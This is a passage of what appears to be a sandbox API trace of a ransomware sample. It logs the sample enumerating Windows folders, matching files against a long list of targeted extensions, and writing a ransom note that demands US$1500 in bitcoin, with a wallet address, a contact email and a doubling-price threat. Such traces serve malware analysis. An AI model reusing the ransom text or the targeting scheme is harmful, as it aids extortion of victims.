[0104.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.lay6") returned 0 [0104.034] lstrlenA (lpString="*.lay6") returned 6 [0104.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mpeg") returned 0 [0104.035] lstrlenA (lpString="*.mpeg") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.djvu") returned 0 [0104.035] lstrlenA (lpString="*.djvu") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.tiff") returned 0 [0104.035] lstrlenA (lpString="*.tiff") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.backup") returned 0 [0104.035] lstrlenA (lpString="*.backup") returned 8 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.pdf") returned 0 [0104.035] lstrlenA (lpString="*.pdf") returned 5 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.cert") returned 0 [0104.035] lstrlenA (lpString="*.cert") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.docm") returned 0 [0104.035] lstrlenA (lpString="*.docm") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.xlsm") returned 0 [0104.035] lstrlenA (lpString="*.xlsm") returned 6 [0104.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.dwg") returned 0 [0104.035] lstrlenA (lpString="*.dwg") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.nd") returned 0 [0104.036] lstrlenA (lpString="*.nd") returned 4 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.tlg") returned 0 [0104.036] lstrlenA (lpString="*.tlg") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.lgb") returned 0 [0104.036] lstrlenA (lpString="*.lgb") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mov") returned 0 [0104.036] lstrlenA (lpString="*.mov") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.xdw") returned 0 [0104.036] lstrlenA (lpString="*.xdw") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.ods") returned 0 [0104.036] lstrlenA (lpString="*.ods") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.wav") returned 0 [0104.036] lstrlenA (lpString="*.wav") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mp3") returned 0 [0104.036] lstrlenA (lpString="*.mp3") returned 5 [0104.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.aiff") returned 0 [0104.036] lstrlenA (lpString="*.aiff") returned 6 [0104.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.flac") returned 0 [0104.037] lstrlenA (lpString="*.flac") returned 6 [0104.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.m4a") returned 0 [0104.037] lstrlenA (lpString="*.m4a") returned 5 [0104.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.csv") returned 0 [0104.037] lstrlenA (lpString="*.csv") returned 5 [0104.037] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6c8ec3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f6c8ec3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f6ef024, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSBuild.ni.exe", cAlternateFileName="MSBUIL~1.EXE")) returned 0 [0104.037] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.037] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="af28543d9b3e7d9f110448ecce53cd72", cAlternateFileName="AF2854~1")) returned 0 [0104.037] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.037] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xee3b5363, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xee3b5363, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x750042, cFileName="mscorlib", cAlternateFileName="")) returned 1 [0104.037] lstrcmpA (lpString1=".", lpString2="mscorlib") returned -1 [0104.037] lstrcmpA (lpString1="..", lpString2="mscorlib") returned -1 [0104.037] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.038] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="mscorlib" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib" [0104.038] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib") returned 55 [0104.038] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xee3b5363, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xee3b5363, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.038] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xee3b5363, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xee3b5363, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.039] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedd9baf8, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xedd9baf8, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xedd9baf8, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="62a0b3e4b40ec0e8c5cfaa0c8848e64a", cAlternateFileName="62A0B3~1")) returned 1 [0104.039] lstrcmpA (lpString1=".", lpString2="62a0b3e4b40ec0e8c5cfaa0c8848e64a") returned -1 [0104.039] lstrcmpA (lpString1="..", lpString2="62a0b3e4b40ec0e8c5cfaa0c8848e64a") returned -1 [0104.039] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\*.*") returned="*.*" [0104.039] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\", lpString2="62a0b3e4b40ec0e8c5cfaa0c8848e64a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a" [0104.039] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a") returned 88 [0104.039] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedd9baf8, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xedd9baf8, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xedd9baf8, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedd9baf8, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xedd9baf8, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xedd9baf8, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.040] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.040] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.040] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8c7a52, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xec8c7a52, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xecb29056, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xaf5400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorlib.ni.dll", cAlternateFileName="MSCORL~1.DLL")) returned 1 [0104.040] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.040] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.ni.dll") returned -1 [0104.040] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.ni.dll") returned -1 [0104.040] lstrcmpiA (lpString1="", lpString2="mscorlib.ni.dll") returned -1 [0104.040] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\*.*") returned="*.*" [0104.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\" [0104.040] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\") returned="" [0104.040] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\HOW TO DECRYPT FILES.txt" [0104.040] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\how to decrypt files.txt")) returned 0xffffffff [0104.040] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.041] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.041] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.043] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.043] CloseHandle (hObject=0x90) returned 1 [0104.044] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\", lpString2="mscorlib.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.ems") returned 0 [0104.044] lstrlenA (lpString="*.ems") returned 5 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.db") returned 0 [0104.044] lstrlenA (lpString="*.db") returned 4 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.dbf") returned 0 [0104.044] lstrlenA (lpString="*.dbf") returned 5 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.myox") returned 0 [0104.044] lstrlenA (lpString="*.myox") returned 6 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.myo") returned 0 [0104.044] lstrlenA (lpString="*.myo") returned 5 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbw") returned 0 [0104.044] lstrlenA (lpString="*.qbw") returned 5 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbb") returned 0 [0104.044] lstrlenA (lpString="*.qbb") returned 5 [0104.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbm") returned 0 [0104.045] lstrlenA (lpString="*.qbm") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbo") returned 0 [0104.045] lstrlenA (lpString="*.qbo") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbx") returned 0 [0104.045] lstrlenA (lpString="*.qbx") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qba") returned 0 [0104.045] lstrlenA (lpString="*.qba") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qby") returned 0 [0104.045] lstrlenA (lpString="*.qby") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qbj") returned 0 [0104.045] lstrlenA (lpString="*.qbj") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.ofx") returned 0 [0104.045] lstrlenA (lpString="*.ofx") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.qif") returned 0 [0104.045] lstrlenA (lpString="*.qif") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mye") returned 0 [0104.045] lstrlenA (lpString="*.mye") returned 5 [0104.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mbox") returned 0 [0104.045] lstrlenA (lpString="*.mbox") returned 6 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.eml") returned 0 [0104.046] lstrlenA (lpString="*.eml") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.pst") returned 0 [0104.046] lstrlenA (lpString="*.pst") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.ost") returned 0 [0104.046] lstrlenA (lpString="*.ost") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.idx") returned 0 [0104.046] lstrlenA (lpString="*.idx") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.dbx") returned 0 [0104.046] lstrlenA (lpString="*.dbx") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.sql") returned 0 [0104.046] lstrlenA (lpString="*.sql") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mdb") returned 0 [0104.046] lstrlenA (lpString="*.mdb") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.fdb") returned 0 [0104.046] lstrlenA (lpString="*.fdb") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.wab") returned 0 [0104.046] lstrlenA (lpString="*.wab") returned 5 [0104.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.dat") returned 0 [0104.047] lstrlenA (lpString="*.dat") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.txt") returned 0 [0104.047] lstrlenA (lpString="*.txt") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.jpeg") returned 0 [0104.047] lstrlenA (lpString="*.jpeg") returned 6 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.jpg") returned 0 [0104.047] lstrlenA (lpString="*.jpg") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.png") returned 0 [0104.047] lstrlenA (lpString="*.png") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.php") returned 0 [0104.047] lstrlenA (lpString="*.php") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.cs") returned 0 [0104.047] lstrlenA (lpString="*.cs") returned 4 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.cpp") returned 0 [0104.047] lstrlenA (lpString="*.cpp") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.rar") returned 0 [0104.047] lstrlenA (lpString="*.rar") returned 5 [0104.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.zip") returned 0 [0104.047] lstrlenA (lpString="*.zip") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.html") returned 0 [0104.048] lstrlenA (lpString="*.html") returned 6 [0104.048] 